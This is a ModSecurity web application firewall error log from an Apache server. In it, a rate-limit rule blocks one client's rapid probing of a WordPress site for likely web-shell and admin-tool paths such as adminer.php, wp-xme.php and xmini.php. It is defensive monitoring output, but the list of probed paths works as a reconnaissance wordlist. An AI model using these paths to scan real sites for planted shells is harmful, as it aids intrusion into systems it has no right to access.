[Wed Apr 22 23:48:21.580057 2026] [:error] [pid 6250:tid 6278] [client 172.213.243.103:35562] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xme.php"] [unique_id "aejtxQ-iZeQkqmQVfj4z0wAAAFg"]
[Wed Apr 22 23:48:22.095791 2026] [:error] [pid 6344:tid 6371] [client 172.213.243.103:50620] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "aejtxkDOTF-pkQnDeUkftwAAABY"]
[Wed Apr 22 23:48:22.574112 2026] [:error] [pid 6384:tid 6409] [client 172.213.243.103:37157] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "aejtxj58M3t15ICeWHWb7wAAANY"]
[Wed Apr 22 23:48:23.089290 2026] [:error] [pid 6250:tid 6255] [client 172.213.243.103:35576] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "aejtxw-iZeQkqmQVfj4z1wAAAEE"]
[Wed Apr 22 23:48:23.757338 2026] [:error] [pid 6250:tid 6265] [client 172.213.243.103:58232] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminer.php"] [unique_id "aejtxw-iZeQkqmQVfj4z2QAAAEs"]
[Wed Apr 22 23:48:24.259154 2026] [:error] [pid 6344:tid 6365] [client 172.213.243.103:50512] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ktfow.php"] [unique_id "aejtyEDOTF-pkQnDeUkfuwAAABA"]
[Wed Apr 22 23:48:24.754294 2026] [:error] [pid 6250:tid 6260] [client 172.213.243.103:62412] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ktfow.php"] [unique_id "aejtyA-iZeQkqmQVfj4z3AAAAEY"]
[Wed Apr 22 23:48:25.243462 2026] [:error] [pid 6344:tid 6367] [client 172.213.243.103:41967] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ktfow.php"] [unique_id "aejtyUDOTF-pkQnDeUkfvAAAABI"]
[Wed Apr 22 23:48:25.722318 2026] [:error] [pid 9085:tid 9106] [client 172.213.243.103:41938] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ktfow.php"] [unique_id "aejtyd-_-or9vQnlWnroYwAAAVM"]
[Wed Apr 22 23:48:26.257648 2026] [:error] [pid 9085:tid 9098] [client 172.213.243.103:35539] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "aejtyt-_-or9vQnlWnroZQAAAUs"]
[Wed Apr 22 23:48:26.736220 2026] [:error] [pid 9085:tid 9105] [client 172.213.243.103:38299] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "aejtyt-_-or9vQnlWnroZgAAAVI"]
[Wed Apr 22 23:48:27.221360 2026] [:error] [pid 6250:tid 6257] [client 172.213.243.103:50575] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "aejtyw-iZeQkqmQVfj4z4AAAAEM"]
[Wed Apr 22 23:48:27.700291 2026] [:error] [pid 6250:tid 6275] [client 172.213.243.103:35565] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "aejtyw-iZeQkqmQVfj4z4wAAAFU"]
[Wed Apr 22 23:48:28.208556 2026] [:error] [pid 6250:tid 6272] [client 172.213.243.103:35541] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Xx.php"] [unique_id "aejtzA-iZeQkqmQVfj4z5QAAAFI"]
[Wed Apr 22 23:48:28.693534 2026] [:error] [pid 6251:tid 6300] [client 172.213.243.103:50587] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Xx.php"] [unique_id "aejtzCsFAzbyObL-SQ6Z5AAAAI8"]
[Wed Apr 22 23:48:29.198819 2026] [:error] [pid 9085:tid 9102] [client 172.213.243.103:35463] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Xx.php"] [unique_id "aejtzd-_-or9vQnlWnroawAAAU8"]
[Wed Apr 22 23:48:29.689657 2026] [:error] [pid 6344:tid 6360] [client 172.213.243.103:55908] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Xx.php"] [unique_id "aejtzUDOTF-pkQnDeUkfvgAAAAs"]
[Wed Apr 22 23:48:30.173070 2026] [:error] [pid 6252:tid 6335] [client 172.213.243.103:38327] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmini.php"] [unique_id "aejtzutGYuiYb1nWBpRtXQAAARc"]
[Wed Apr 22 23:48:30.663909 2026] [:error] [pid 6250:tid 6256] [client 172.213.243.103:55876] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmini.php"] [unique_id "aejtzg-iZeQkqmQVfj4z5wAAAEI"]
[Wed Apr 22 23:48:31.144400 2026] [:error] [pid 6344:tid 6371] [client 172.213.243.103:58218] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmini.php"] [unique_id "aejtz0DOTF-pkQnDeUkfwAAAABY"]
[Wed Apr 22 23:48:31.666413 2026] [:error] [pid 6250:tid 6258] [client 172.213.243.103:40107] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmini.php"] [unique_id "aejtzw-iZeQkqmQVfj4z6AAAAEQ"]
[Wed Apr 22 23:48:32.149870 2026] [:error] [pid 6250:tid 6269] [client 172.213.243.103:41952] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2468.php"] [unique_id "aejt0A-iZeQkqmQVfj4z6QAAAE8"]
[Wed Apr 22 23:48:32.633818 2026] [:error] [pid 6384:tid 6401] [client 172.213.243.103:35495] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2468.php"] [unique_id "aejt0D58M3t15ICeWHWb_wAAAM4"]
[Wed Apr 22 23:48:33.121767 2026] [:error] [pid 9085:tid 9088] [client 172.213.243.103:55895] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2468.php"] [unique_id "aejt0d-_-or9vQnlWnrocgAAAUE"]
[Wed Apr 22 23:48:33.601142 2026] [:error] [pid 6251:tid 6294] [client 172.213.243.103:38289] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2468.php"] [unique_id "aejt0SsFAzbyObL-SQ6Z5wAAAIk"]
[Wed Apr 22 23:48:34.079185 2026] [:error] [pid 6384:tid 6402] [client 172.213.243.103:39451] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "aejt0j58M3t15ICeWHWcBQAAAM8"]
[Wed Apr 22 23:48:34.556514 2026] [:error] [pid 6384:tid 6398] [client 172.213.243.103:64967] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "aejt0j58M3t15ICeWHWcBgAAAMs"]
[Wed Apr 22 23:48:35.039377 2026] [:error] [pid 9085:tid 9103] [client 172.213.243.103:50611] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "aejt09-_-or9vQnlWnrodQAAAVA"]
[Wed Apr 22 23:48:35.539270 2026] [:error] [pid 9085:tid 9105] [client 172.213.243.103:58195] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/index.php"] [unique_id "aejt09-_-or9vQnlWnrodwAAAVI"]
[Wed Apr 22 23:48:36.027842 2026] [:error] [pid 9085:tid 9087] [client 172.213.243.103:35522] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aejt1N-_-or9vQnlWnroeAAAAUA"]
[Wed Apr 22 23:48:36.513107 2026] [:error] [pid 9085:tid 9093] [client 172.213.243.103:55916] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aejt1N-_-or9vQnlWnroegAAAUY"]
[Wed Apr 22 23:48:37.017309 2026] [:error] [pid 9085:tid 9101] [client 172.213.243.103:35485] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aejt1d-_-or9vQnlWnrofQAAAU4"]
[Wed Apr 22 23:48:37.509998 2026] [:error] [pid 6252:tid 6325] [client 172.213.243.103:58186] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aejt1etGYuiYb1nWBpRtZQAAAQ0"]
[Wed Apr 22 23:48:38.018690 2026] [:error] [pid 6344:tid 6349] [client 172.213.243.103:50547] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amdin.php"] [unique_id "aejt1kDOTF-pkQnDeUkfygAAAAA"]
[Wed Apr 22 23:48:38.497157 2026] [:error] [pid 9085:tid 9096] [client 172.213.243.103:40101] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amdin.php"] [unique_id "aejt1t-_-or9vQnlWnrogAAAAUk"]
[Wed Apr 22 23:48:38.996321 2026] [:error] [pid 6251:tid 6296] [client 172.213.243.103:40068] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amdin.php"] [unique_id "aejt1isFAzbyObL-SQ6Z7AAAAIs"]
[Wed Apr 22 23:48:39.562307 2026] [:error] [pid 6251:tid 6292] [client 172.213.243.103:55934] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amdin.php"] [unique_id "aejt1ysFAzbyObL-SQ6Z7QAAAIc"]
[Wed Apr 22 23:48:40.059026 2026] [:error] [pid 9085:tid 9088] [client 172.213.243.103:50620] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/huya.php"] [unique_id "aejt2N-_-or9vQnlWnroggAAAUE"]
[Wed Apr 22 23:48:40.543747 2026] [:error] [pid 6384:tid 6392] [client 172.213.243.103:50605] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/huya.php"] [unique_id "aejt2D58M3t15ICeWHWcDAAAAMU"]
[Wed Apr 22 23:48:41.029797 2026] [:error] [pid 23776:tid 23784] [client 172.213.243.103:38322] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/huya.php"] [unique_id "aejt2bRExf-1pAbSeJsy4gAAAYY"]
[Wed Apr 22 23:48:41.560433 2026] [:error] [pid 6344:tid 6365] [client 172.213.243.103:35465] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/huya.php"] [unique_id "aejt2UDOTF-pkQnDeUkfzgAAABA"]
[Wed Apr 22 23:48:42.080515 2026] [:error] [pid 23776:tid 23799] [client 172.213.243.103:40102] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "aejt2rRExf-1pAbSeJsy6QAAAZU"]
[Wed Apr 22 23:48:42.562322 2026] [:error] [pid 23776:tid 23783] [client 172.213.243.103:38312] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "aejt2rRExf-1pAbSeJsy7QAAAYU"]
[Wed Apr 22 23:48:43.045287 2026] [:error] [pid 9085:tid 9105] [client 172.213.243.103:35512] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "aejt29-_-or9vQnlWnrohgAAAVI"]
[Wed Apr 22 23:48:43.529748 2026] [:error] [pid 6384:tid 6391] [client 172.213.243.103:50609] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "aejt2z58M3t15ICeWHWcDwAAAMQ"]
[Wed Apr 22 23:48:44.018692 2026] [:error] [pid 9085:tid 9094] [client 172.213.243.103:58227] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aejt3N-_-or9vQnlWnroiwAAAUc"]
[Wed Apr 22 23:48:44.502117 2026] [:error] [pid 9085:tid 9102] [client 172.213.243.103:38284] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aejt3N-_-or9vQnlWnrojAAAAU8"]
[Wed Apr 22 23:48:44.984000 2026] [:error] [pid 6251:tid 6290] [client 172.213.243.103:41925] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aejt3CsFAzbyObL-SQ6Z7gAAAIU"]
[Wed Apr 22 23:48:45.466004 2026] [:error] [pid 9085:tid 9111] [client 172.213.243.103:37161] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aejt3d-_-or9vQnlWnrojgAAAVg"]
[Wed Apr 22 23:48:45.992816 2026] [:error] [pid 6250:tid 6264] [client 172.213.243.103:38331] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "aejt3Q-iZeQkqmQVfj4z7QAAAEo"]
[Wed Apr 22 23:48:46.511887 2026] [:error] [pid 6250:tid 6254] [client 172.213.243.103:34808] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "aejt3g-iZeQkqmQVfj4z7wAAAEA"]
[Wed Apr 22 23:48:46.991576 2026] [:error] [pid 6384:tid 6403] [client 172.213.243.103:40112] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "aejt3j58M3t15ICeWHWcFAAAANA"]
[Wed Apr 22 23:48:47.503467 2026] [:error] [pid 6252:tid 6314] [client 172.213.243.103:50565] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "aejt3-tGYuiYb1nWBpRtcgAAAQI"]
[Wed Apr 22 23:48:47.981686 2026] [:error] [pid 6384:tid 6399] [client 172.213.243.103:35470] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kikikoko.php"] [unique_id "aejt3z58M3t15ICeWHWcFgAAAMw"]
[Wed Apr 22 23:48:48.467465 2026] [:error] [pid 6384:tid 6396] [client 172.213.243.103:50601] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kikikoko.php"] [unique_id "aejt4D58M3t15ICeWHWcGAAAAMk"]
[Wed Apr 22 23:48:48.960355 2026] [:error] [pid 6250:tid 6256] [client 172.213.243.103:37177] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kikikoko.php"] [unique_id "aejt4A-iZeQkqmQVfj4z8gAAAEI"]
